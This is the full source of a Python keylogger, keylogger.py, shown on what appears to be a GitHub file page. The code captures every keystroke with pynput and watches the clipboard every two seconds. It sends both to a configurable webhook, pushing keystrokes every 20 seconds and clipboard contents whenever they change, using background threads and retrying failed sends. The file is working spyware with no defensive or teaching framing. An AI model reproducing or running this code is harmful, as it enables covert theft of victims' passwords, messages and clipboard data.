-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
86 lines (76 loc) · 3.24 KB
/
keylogger.py
File metadata and controls
86 lines (76 loc) · 3.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
from pynput import keyboard
import threading
import pyperclip
import time
class Keylogger:
def __init__(self, webhook):
self.webhook = webhook
self.log = ""
self.last_clipboard_content = ""
self.lock = threading.Lock()
self.report_interval = 20 # seconds
def callback(self, key):
"""Called for each key press."""
with self.lock:
try:
self.log += key.char
except AttributeError:
# Handle special keys (e.g., space, enter, etc.)
if key == keyboard.Key.space:
self.log += " "
elif key == keyboard.Key.enter:
self.log += "[ENTER]\n"
else:
self.log += f" [{key.name}] "
def send_log(self, content_type="keylog", data=""):
"""Sends the log to the webhook."""
if content_type == "keylog":
with self.lock:
if not self.log:
return
log_data = self.log
self.log = ""
try:
requests.post(self.webhook, json={"content": log_data})
except requests.exceptions.RequestException as e:
print(f"[!] Keylog send failed: {e}")
# If sending fails, prepend the log back to be sent next time
with self.lock:
self.log = log_data + self.log
elif content_type == "clipboard":
try:
requests.post(self.webhook, json={"content": f"[CLIPBOARD]: {data}"})
except requests.exceptions.RequestException as e:
print(f"[!] Clipboard send failed: {e}")
def report(self):
"""Periodically sends the collected keylogs."""
while True:
time.sleep(self.report_interval)
self.send_log()
def monitor_clipboard(self):
"""Monitors and sends clipboard content on change."""
while True:
try:
current_clipboard_content = pyperclip.paste()
if current_clipboard_content != self.last_clipboard_content:
if current_clipboard_content.strip():
if len(current_clipboard_content) > 1900:
current_clipboard_content = current_clipboard_content[:1900] + "..."
self.send_log(content_type="clipboard", data=current_clipboard_content)
self.last_clipboard_content = current_clipboard_content
except Exception as e:
# pyperclip can fail if no clipboard tool is available
print(f"[!] Clipboard monitoring failed: {e}")
time.sleep(2)
def start(self):
"""Starts all monitoring threads."""
# Start the keylog reporting thread
report_thread = threading.Thread(target=self.report, daemon=True)
report_thread.start()
# Start the clipboard monitoring thread
clipboard_thread = threading.Thread(target=self.monitor_clipboard, daemon=True)
clipboard_thread.start()
# Start the keyboard listener in the current thread
with keyboard.Listener(on_press=self.callback) as listener:
listener.join()